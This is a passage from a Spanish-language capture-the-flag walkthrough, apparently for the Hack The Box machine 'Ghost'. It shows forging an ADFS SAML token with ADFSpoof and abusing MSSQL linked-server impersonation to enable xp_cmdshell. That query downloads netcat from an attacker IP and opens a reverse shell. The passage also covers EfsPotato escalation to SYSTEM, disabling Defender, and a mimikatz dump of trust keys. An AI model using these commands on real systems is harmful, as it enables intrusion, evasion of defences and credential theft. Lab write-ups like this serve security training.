FnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==</ds:X509Certificate> </ds:X509Data> </KeyInfo> </ds:Signature> <Subject> <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <SubjectConfirmationData InResponseTo="_147cc57aa6598ac3839da355eaf29e80d6a0c9b5" NotOnOrAfter="2024-07-25T08:20:31.679Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse"/> </SubjectConfirmation> </Subject> <Conditions NotBefore="2024-07-25T08:15:31.600Z" NotOnOrAfter="2024-07-25T09:15:31.600Z"> <AudienceRestriction> <Audience>https://core.ghost.htb:8443</Audience> </AudienceRestriction> </Conditions> <AttributeStatement> <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"> <AttributeValue>justin.bradley@ghost.htb</AttributeValue> </Attribute> <Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"> <AttributeValue>justin.bradley</AttributeValue> </Attribute> </AttributeStatement> <AuthnStatement AuthnInstant="2024-07-25T08:15:15.195Z"> <AuthnContext> <AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef> </AuthnContext> </AuthnStatement> </Assertion> </samlp:Response> |
Para el siguiente paso vamos a utilizar la herramienta ADFSpoof para generar una cookie nueva que nos permita acceder al portal con permisos de administrador
Así que ejecutamos con los datos obtenidos
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ python ADFSpoof.py -b EncryptedPfx.bin dkmkey.bin -s ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:cm:bearer --nameid 'administrator@ghost.htb' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>' ___ ____ ___________ ____ / | / __ \/ ____/ ___/____ ____ ____ / __/ / /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_ / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/ /_/ |_/_____/_/ /____/ .___/\____/\____/_/ /_/ A tool to for AD FS security tokens Created by @doughsec PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfNFFCWDJMIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNC0wNy0yNVQwODoyNjo0Ny4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZ2hvc3QuaHRiL2FkZnMvc2VydmljZXMvdHJ1c3Q8L0lzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48QXNzZXJ0aW9uIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0iX0pQNUFCNiIgSXNzdWVJbnN0YW50PSIyMDI0LTA3LTI1VDA4OjI2OjQ3LjAwMFoiIFZlcnNpb249IjIuMCI%2BPElzc3Vlcj5odHRwOi8vZ2hvc3QuaHRiL2FkZnMvc2VydmljZXMvdHJ1c3Q8L0lzc3Vlcj48ZHM6U2lnbmF0dXJlIHhtbG5zOmRzPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48ZHM6U2lnbmVkSW5mbz48ZHM6Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2Ii8%2BPGRzOlJlZmVyZW5jZSBVUkk9IiNfSlA1QUI2Ij48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiLz48ZHM6RGlnZXN0VmFsdWU%2Ba3FuRU0xQXBYMVRNS3lna3J1QkxybUMyUmJJbnk3OXRJS2xkQnd3QjRGUT08L2RzOkRpZ2VzdFZhbHVlPjwvZHM6UmVmZXJlbmNlPjwvZHM6U2lnbmVkSW5mbz48ZHM6U2lnbmF0dXJlVmFsdWU%2BSXB2ejUvWDN4UjN2U3k3bFI2VGYxL1h5TWRmYzhqaUJMTm8rajNEK1lPb2p0Njk5VjFXbUYycVRXZ05qVUNCU1hvNmZEQXJjNHFkL3paQnYwaEg1TDhXY3ZWeEZFVElDT1lUdWd4WXlDamIyaUN1eVJvdElKNXowaEZPV3kzVUNjaXFKUVU3aFdNQytGTUJzVWs5OVhpK25lS1Bnd2kwWWRZMEdDUTh0Smxta0h1NElDZHhZOFk1NlFyaEtkOE1scVlFVXVaV3VYR3JudkJmY1pEVHJKYmF3RFhXd0pNR0hlTXRlYXplSlY3ZktpUVF6dVFJcVVjcDVpSUlsRXM0WDd3TnhyS3hvOUFvdnJ4RWVva2xFSjBzSFdsVys5aERZWktIZUk3Vko5TDNVVVJ1S1EwZk1ucHpKMUZNZ00zMW9JZk1kS0pPQzZXQkdQdnBKUllFK05TN0w1SUc1T2s4MGlhR3dSbTBXNHdLMW1HcEJYMEhNMlVhU1gwTnR6VVFpM3Q5c0lNalRQZ2J3K0ZuWnJla21iMGIvRHo1eUZDc3pURzZ3UDRLcVA1WEFtQzQ2QmoyZVpvb1gxdU1tVmdpdXlJOWFHMlgycGdJUE1OUHJ3aWNQcFVsYjZWdG04eFZUdkgwQzEvQzVkaXFkNHltYktkZjliN0FqUEExY2tYTlZDMFF2YUJ5Z1VoWm5hYVJTR3IxRXJKN3MvMWRlYlhhYk01YUhhLzBHdWIvZVdmNWdNV0QvalRYVDh6TzVNVnoxemNETUo2aGxhTFJpcm9YMEs5TXVCVk9aRzFYYlNRTXVQTXNUY3AzK3RpVjhSeEtEWGsvUTFQSHRqSEZXcEp6bkdIS1YwN0hERjMxcmZpNFRCKzROYW9WdkhMb3p2UnZPMUJoYVJGT1NBSGM9PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFNWpDQ0FzNmdBd0lCQWdJUUpGY1d3TXliUmE1TzQrV081dFdvR1RBTkJna3Foa2lHOXcwQkFRc0ZBREF1TVN3d0tnWURWUVFERXlOQlJFWlRJRk5wWjI1cGJtY2dMU0JtWldSbGNtRjBhVzl1TG1kb2IzTjBMbWgwWWpBZ0Z3MHlOREEyTVRneE5qRTNNVEJhR0E4eU1UQTBNRFV6TURFMk1UY3hNRm93TGpFc01Db0dBMVVFQXhNalFVUkdVeUJUYVdkdWFXNW5JQzBnWm1Wa1pYSmhkR2x2Ymk1bmFHOXpkQzVvZEdJd2dnSWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUNEd0F3Z2dJS0FvSUNBUUMrQUFPSWZFcXRsWWNuMTUzTDFCdkdRZ0R5WFRuWXdUUnpzSzU5K3pFMXpnR0tPOU41bmI4RmsrZGFLcFdMUWFpSDdvREhhZW53L1FheEJnNXFkZURZbUQzb3o4S3lhQTF5Z1lCcnptNHdXN0ZmODdySzlGZTVKNS9oNlc5Zzc0OWg1QklxUFFPcDBsNnMxcmZ1bU9jY040eWJXOTVFV05MMHZ1UVh2QytLUTRENGdNWHU4bUNHcHh0dklMOGlsTnRKdUlHM09SWVNLaFJhbDB5eUplT2hHNHhnbHJaSkYxOHA5d2huRTZvbWdnbUE2bjJzaERrL3R2VFlqaWk1ZTcvaWNXVEtrcnNNQ3BhS1VOazdteGRNWmhRYWI3U21mS3JaTjRwUkQ3ZFZnNXp6SXlEN1V6UzlDSExDNnhOenEvWjBodWFPYUpoT1NkSlNnYXQvYnNHOG5ieDE5SEQvK3lwVzlKMkx0TkZ1Z2RXdG1VQldET1FCWVZoQjhTZzRWRUdnUDlqeUl0SEgyYnpzRGZqUmRKOEUxdU5KV1Ava1FBMSt3WWxPZGRMcVUzYjBJc0N2bEE4RXZZVzBUMVJzdTc3bzR4L3cwZ1diMG9RUEVJejd6OTczYjQ5NndxUXQzRG55ZmVPM2xYWGZaTmN2YWo1S0NQMlR0R0IrS3NoRjlwa0lQeHE3RjJnTWg3UWp4alJIc0EyOVY4akZvOWdMRDdrUFZpY2FJVWRzZ2lGSG5ZUUYxNGE1Mkp0UjFWNWlOK2g5NUprdXVFcVFXREJIQXZQRUJCWmtFWkgrNXlUK2FDRlhYWCtCcFB0M1FHallMZUpVOENGc010bjhRVkxZdkxkY1ZSc1VuUmgvV0hpWHdKT09FVkVDYTl3Ny95Vm5oYWxDTkJ4MUUvbDRLUUlEQVFBQk1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQ0FRQVdZS1pXM2NEQ0JPNmRUM3lmbDNPY3V5cDFMVktWSSs5cEZ4L2JiV3BXalNkaDZiMzlMVHh4RDdGWVV0aHVXUFozckY0RytGZE1GSEhDeDNZcEVtVUZuRUxLc1hxaFo5ODlBWDU4SS8zbWJmVWxLV2VJUExTTGtwK2VSWm9NSmt0N2sxL0tYdERhc09RbjBOc2dZRW93TEJJbU1DTXU5dXVqbkNtRk93SFAvSUJoZ1lRTUhoNDZCelNYV1AzaThWWGJyUnREcG8vYy8vT0ZKaEdtbm5GOFpQbWk0eHR6ZlNEQnBWS3F3VkxwNzhDZ3VNeGpRZCtiZFViNDU1ODhaSjRDTHNQZFJRcDMwV0oxL0NOSWFlbnZKV3RBMkc1SVp3NVUwRVdDSkxvWUpXRnM5aXlPYTEveTU1cnVXNko4bElHRDB3bW9FZUNsOUNIMUVkNGR6VWRVWGYxTUJDWVAzWDkyaWF4elVFMHVwR2QvMVFvNkhUeXlPbFd1QXdya1QyVkhFTEtWWktPZzgrZGx5OTdneVpJZlV0UXdJa1B3Tmw4dm8wNGNmaitoek92QnpQS0FBWWgxNE5MZ3ZlQUkvRHFNbk8wT0tPK3cxSEJLdzY0TkJDbjhnb2F6RitQdUZmVU8weU5IRkw0a3hNcGNhcDZpZXY2ZzNCWENTRHdmcVRVT0V1RXM3cTlvWUtncTJxbk5WT1RJaGhJbk1YQnpFbTZpUDEzamZ1T29YSmRQQW5FVVhuNHk1eXdBOTdydGJHblpFUHl4MWYxRWtYL2hicUJQNHZvZ3Y5a2x0YVVFRVZYa1MraFBweFptZXhDTnJCRDFxN0dKLzUwZWJZbEMwQ2V2OHc2TXM4dE0wT3J2cHBHWWxXcnRQd2V2RXZmaVJrd0JMRzdFTUFuTFN3PT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48U3ViamVjdD48TmFtZUlEIEZvcm1hdD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BYWRtaW5pc3RyYXRvckBnaG9zdC5odGI8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjQtMDctMjVUMDg6MzE6NDcuMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI0LTA3LTI1VDA4OjI2OjQ3LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNC0wNy0yNVQwOToyNjo0Ny4wMDBaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5hZG1pbmlzdHJhdG9yQGdob3N0Lmh0YjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy9jbGFpbXMvQ29tbW9uTmFtZSI%2BPEF0dHJpYnV0ZVZhbHVlPmFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjwvQXR0cmlidXRlU3RhdGVtZW50PjxBdXRoblN0YXRlbWVudCBBdXRobkluc3RhbnQ9IjIwMjQtMDctMjVUMDg6MjY6NDYuNTAwWiIgU2Vzc2lvbkluZGV4PSJfSlA1QUI2Ij48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D |
Y tenemos la cookie, la modificamos en la petición interceptada con burp y enviamos, obteniendo acceso al portal
Explotando un SQLi
En el panel de federation vemos un debugger de la base de datos MSSQL utilizada por la aplicación, así que vamos a ver hasta donde podemos llegar.
A continuación iré poniendo las queries y su respuesta por no meter demasiadas capturas de pantalla.
Revisamos en primer lugar el servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
SELECT @@SERVERNAME { "recordsets": [ [ { "": "DC01" } ] ], "recordset": [ { "": "DC01" } ], "output": {}, "rowsAffected": [ 1 ] } |
y si hay alguno más configurado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
EXEC sp_linkedservers; { "recordsets": [ [ { "SRV_NAME": "DC01", "SRV_PROVIDERNAME": "SQLNCLI", "SRV_PRODUCT": "SQL Server", "SRV_DATASOURCE": "DC01", "SRV_PROVIDERSTRING": null, "SRV_LOCATION": null, "SRV_CAT": null }, { "SRV_NAME": "PRIMARY", "SRV_PROVIDERNAME": "SQLNCLI", "SRV_PRODUCT": "SQL Server", "SRV_DATASOURCE": "PRIMARY", "SRV_PROVIDERSTRING": null, "SRV_LOCATION": null, "SRV_CAT": null } ] ], "recordset": [ { "SRV_NAME": "DC01", "SRV_PROVIDERNAME": "SQLNCLI", "SRV_PRODUCT": "SQL Server", "SRV_DATASOURCE": "DC01", "SRV_PROVIDERSTRING": null, "SRV_LOCATION": null, "SRV_CAT": null }, { "SRV_NAME": "PRIMARY", "SRV_PROVIDERNAME": "SQLNCLI", "SRV_PRODUCT": "SQL Server", "SRV_DATASOURCE": "PRIMARY", "SRV_PROVIDERSTRING": null, "SRV_LOCATION": null, "SRV_CAT": null } ], "output": {}, "rowsAffected": [ 2 ] } |
Ya vemos que hay un segundo servidor, PRIMARY, además del dc que ya conocíamos.
Continuamos sacando al usuario actual
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
select * from openquery( "PRIMARY" , 'select CURRENT_USER' ) { "recordsets": [ [ { "": "bridge_corp" } ] ], "recordset": [ { "": "bridge_corp" } ], "output": {}, "rowsAffected": [ 1 ] } |
y vemos si podemos impersonarnos con alguno, donde vemos que está el usuario sa
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
select * from openquery("PRIMARY", 'SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') { "recordsets": [ [ { "name": "sa" } ] ], "recordset": [ { "name": "sa" } ], "output": {}, "rowsAffected": [ 1 ] } |
y verificamos que realmente podemos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
select * from openquery( "PRIMARY" , 'EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER;' ) { "recordsets": [ [ { "": "sa" } ] ], "recordset": [ { "": "sa" } ], "output": {}, "rowsAffected": [ 1 ] } |
así que ejecutamos una revshell con la siguiente query
|
1 |
DECLARE @sql NVARCHAR(MAX) = N'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''powershell -c "Invoke-WebRequest -Uri http://10.10.14.15/nc64.exe -OutFile $env:TEMP\nc.exe"''; EXEC xp_cmdshell ''%TEMP%\nc.exe -e cmd.exe 10.10.14.15 4444'';'; EXEC (@sql) AT "PRIMARY"; |
y obtenemos acceso en nuestra escucha
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.24] 49375 Microsoft Windows [Version 10.0.20348.2582] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt service\mssqlserver C:\Windows\system32>hostname hostname PRIMARY C:\Windows\system32> |
Escalado en el servidor Primary
Una vez dentro revisamos los permisos del usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.24] 49375 Microsoft Windows [Version 10.0.20348.2582] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt service\mssqlserver C:\Windows\system32>hostname hostname PRIMARY C:\Windows\system32>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled C:\Windows\system32> |
y podemos aprovecharnos del permiso SeImpersonatePrivilege para escalar privilegios con potato.
Utilizaremos EfsPotato, así que lo compilamos
|
1 2 3 4 5 6 |
PS Z:\EfsPotato> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618 Microsoft (R) Visual C# Compiler version 4.8.3752.0 for C# 5 Copyright (C) Microsoft Corporation. All rights reserved. This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240 |
ejecutamos en el servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\temp> ./EfsPotato.exe 'nc.exe -e cmd.exe 10.10.14.15 4445' ./EfsPotato.exe 'nc.exe -e cmd.exe 10.10.14.15 4445' Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: NT Service\MSSQLSERVER [+] Pipe: \pipe\lsarpc [!] binding ok (handle=a1ee40) [+] Get Token: 912 [!] process with pid: 2368 created. ============================== [x] EfsRpcEncryptFileSrv failed: 1818 |
y obtenemos acceso como system
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.24] 49330 Microsoft Windows [Version 10.0.20348.2582] (c) Microsoft Corporation. All rights reserved. C:\temp>whoami whoami nt authority\system C:\temp> |
Escalado al usuario administrator
Tenemos dos máquinas en AD y el usuario system, así que podemos aprovecharnos de los privilegios actuales para obtener un golden ticket de kerberos y poder impersonarnos como admin en la máquina final.
Para ello el primer paso será desactivar el antivirus, que ya vimos anteriormente que nos limitaba las acciones disponibles
|
1 |
Set-MpPreference -DisableRealtimeMonitoring $true |
Una vez desactivado, dumpeamos con mimikatz las trust keys del forest
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
C:\temp>.\mimikatz.exe "lsadump::trust /patch" exit .\mimikatz.exe "lsadump::trust /patch" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # lsadump::trust /patch Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498) Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966) [ In ] CORP.GHOST.HTB -> GHOST.HTB * 7/22/2024 9:21:26 AM - CLEAR - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f * aes256_hmac de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe * aes128_hmac b55ca148bc95f95b8cb72f67661e1a08 * rc4_hmac_nt 0b0124f5d6c07ad530d6bf6a6404fdaa [ Out ] GHOST.HTB -> CORP.GHOST.HTB * 7/22/2024 9:20:47 AM - CLEAR - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b * aes256_hmac b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d * aes128_hmac 81f4c2f21a640eed29861d71a619b4bb * rc4_hmac_nt ea4e9954536eb29091fc96bbce83be23 [ In-1] CORP.GHOST.HTB -> GHOST.HTB * 6/18/2024 8:55:05 AM - CLEAR - 87 d6 a8 80 98 3b d7 0b aa 5e 69 24 3a 99 90 bc f8 d0 2d 64 b1 a6 f8 a6 5a 2a ff 42 bc f0 47 c4 11 3c 57 ea af 61 36 46 5e f1 9b 05 98 74 85 c9 c5 15 2c d4 f7 08 8e 10 59 85 fa 8e 48 34 d6 3b b8 4c 69 ee e1 09 0c a1 29 d4 66 a6 d0 2d cc c9 8c 08 6c 6b 50 14 ab 63 ba 13 87 04 31 7b d3 ac 65 01 5f 10 b1 09 82 f4 29 bb 5c 33 df 6e d1 db a3 06 03 9f 37 22 60 90 75 5e dd d1 2c 99 e6 ed 2e c9 89 75 16 d8 19 f9 e1 d2 15 6c dd 7e fd 94 fe 86 77 d8 1b 2f 91 c6 2f 51 03 d6 d1 da e6 fb 79 a4 53 00 2b c2 7a 93 6f 79 cd e5 83 a6 c2 d8 ca 85 be 7f 08 8b 7b 33 75 cb 48 39 cc 5c ae de e3 46 42 a0 0f d8 35 12 92 c2 15 1d 92 1e 03 63 32 8b 29 78 c3 03 a1 3b 20 c8 c9 94 38 b1 3a 31 9a dd 48 7c 52 30 7a 81 d1 75 0f 9f 30 d7 94 04 * aes256_hmac 00e2c7b1958d93502a7307cdd218bea9f783fef8d22690a50642dea7b4f69f17 * aes128_hmac 734cb9dfdeb5c942a51f689057ea32bd * rc4_hmac_nt dae1ad83e2af14a379017f244a2f5297 [Out-1] GHOST.HTB -> CORP.GHOST.HTB * 7/22/2024 9:20:47 AM - CLEAR - 35 40 61 63 fc 2d 24 ab 5b 37 68 af 85 0c 97 56 75 04 29 15 25 d5 01 6a 22 a6 de dc c4 85 09 9c ab a1 64 6e 5a 0e 5f 4e 18 38 06 2f fe d5 6b 9c 52 b7 81 2d 51 16 66 0c a4 fa fb 0b 25 92 e8 79 0f a6 cf e2 65 1f 36 eb 1d ee 6c 8e b0 9b d5 a2 e3 8a 40 22 c4 f9 95 0c 94 b1 c8 36 27 4d 17 56 3d 9b 3c 08 46 bb 4b 21 fd 6e 62 93 1a 48 5a e9 6e c8 94 29 e4 77 4b ec cb e6 e8 70 d9 43 4d 80 d0 54 d2 55 7e 8d 5c 76 0c bd f3 2b 28 70 82 ba 30 a7 40 45 cc 16 52 62 7d 8b 80 71 3d a5 a7 c0 0c a2 f8 ea 85 11 96 cc a6 0a 71 a9 c3 3f de c9 d3 75 c3 1e 0b a9 72 45 3e b7 cb ff 71 38 2e 0c 19 fc 3d ca 02 7b c1 e2 7f c5 b4 49 30 07 c1 8c 60 0f f7 4b aa 87 05 d1 63 